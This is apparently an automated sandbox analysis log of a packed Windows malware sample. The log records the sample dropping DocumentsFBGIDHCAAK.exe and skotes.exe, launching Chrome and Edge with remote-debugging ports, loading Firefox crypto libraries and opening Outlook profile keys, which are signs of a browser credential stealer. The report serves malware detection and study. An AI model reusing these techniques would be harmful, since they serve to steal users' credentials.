Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFBGIDHCAAK.exe "C:\Users\user\DocumentsFBGIDHCAAK.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6836 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFBGIDHCAAK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2064,i,12329911643549209979,17985636195308993724,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2188,i,1505856362135034536,9576378359776568965,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6632 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6944 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5460 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5460 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\DocumentsFBGIDHCAAK.exe "C:\Users\user\DocumentsFBGIDHCAAK.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6836 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFBGIDHCAAK.exe "C:\Users\user\DocumentsFBGIDHCAAK.exe"
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1821184 > 1048576

Source: file.exe

Static PE information: Raw size of zrgpiaez is bigger than: 0x100000 < 0x1a2c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2760728126.000000006F6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2760728126.000000006F6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.9f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zrgpiaez:EW;idzbeopi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zrgpiaez:EW;idzbeopi:EW;.taggant:EW;
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Unpacked PE file: 23.2.DocumentsFBGIDHCAAK.exe.2e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pcmamdpe:EW;tewptuka:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pcmamdpe:EW;tewptuka:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.1000000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pcmamdpe:EW;tewptuka:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pcmamdpe:EW;tewptuka:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.1000000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pcmamdpe:EW;tewptuka:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pcmamdpe:EW;tewptuka:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.1000000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pcmamdpe:EW;tewptuka:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pcmamdpe:EW;tewptuka:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsFBGIDHCAAK.exe.0.dr	Static PE information: real checksum: 0x1daf64 should be: 0x1e477c
Source: 3de946c107.exe.28.dr	Static PE information: real checksum: 0x1ccfa9 should be: 0x1bef53
Source: file.exe	Static PE information: real checksum: 0x1bd02f should be: 0x1c8250
Source: random[1].exe.28.dr	Static PE information: real checksum: 0x1ccfa9 should be: 0x1bef53
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1daf64 should be: 0x1e477c
Source: skotes.exe.23.dr	Static PE information: real checksum: 0x1daf64 should be: 0x1e477c

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: zrgpiaez
Source: file.exe	Static PE information: section name: idzbeopi
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: pcmamdpe
Source: random[1].exe.0.dr	Static PE information: section name: tewptuka
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsFBGIDHCAAK.exe.0.dr	Static PE information: section name:
Source: DocumentsFBGIDHCAAK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsFBGIDHCAAK.exe.0.dr	Static PE information: section name:
Source: DocumentsFBGIDHCAAK.exe.0.dr	Static PE information: section name: pcmamdpe
Source: DocumentsFBGIDHCAAK.exe.0.dr	Static PE information: section name: tewptuka
Source: DocumentsFBGIDHCAAK.exe.0.dr	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: .idata
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: pcmamdpe
Source: skotes.exe.23.dr	Static PE information: section name: tewptuka
Source: skotes.exe.23.dr	Static PE information: section name: .taggant
Source: random[1].exe.28.dr	Static PE information: section name:
Source: random[1].exe.28.dr	Static PE information: section name: .idata
Source: random[1].exe.28.dr	Static PE information: section name:
Source: random[1].exe.28.dr	Static PE information: section name: dmrorfjy
Source: random[1].exe.28.dr	Static PE information: section name: wppahznb
Source: random[1].exe.28.dr	Static PE information: section name: .taggant
Source: 3de946c107.exe.28.dr	Static PE information: section name:
Source: 3de946c107.exe.28.dr	Static PE information: section name: .idata
Source: 3de946c107.exe.28.dr	Static PE information: section name:
Source: 3de946c107.exe.28.dr	Static PE information: section name: dmrorfjy
Source: 3de946c107.exe.28.dr	Static PE information: section name: wppahznb
Source: 3de946c107.exe.28.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 28_2_0101D91C push ecx; ret

28_2_0101D92F

Source: file.exe	Static PE information: section name: zrgpiaez entropy: 7.954733521694788
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.973840103640272
Source: random[1].exe.0.dr	Static PE information: section name: pcmamdpe entropy: 7.9539271090638985
Source: DocumentsFBGIDHCAAK.exe.0.dr	Static PE information: section name: entropy: 7.973840103640272
Source: DocumentsFBGIDHCAAK.exe.0.dr	Static PE information: section name: pcmamdpe entropy: 7.9539271090638985
Source: skotes.exe.23.dr	Static PE information: section name: entropy: 7.973840103640272
Source: skotes.exe.23.dr	Static PE information: section name: pcmamdpe entropy: 7.9539271090638985
Source: random[1].exe.28.dr	Static PE information: section name: entropy: 7.984723234077823
Source: random[1].exe.28.dr	Static PE information: section name: dmrorfjy entropy: 7.954101894106382
Source: 3de946c107.exe.28.dr	Static PE information: section name: entropy: 7.984723234077823
Source: 3de946c107.exe.28.dr	Static PE information: section name: dmrorfjy entropy: 7.954101894106382

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFBGIDHCAAK.exe

Jump to dropped file

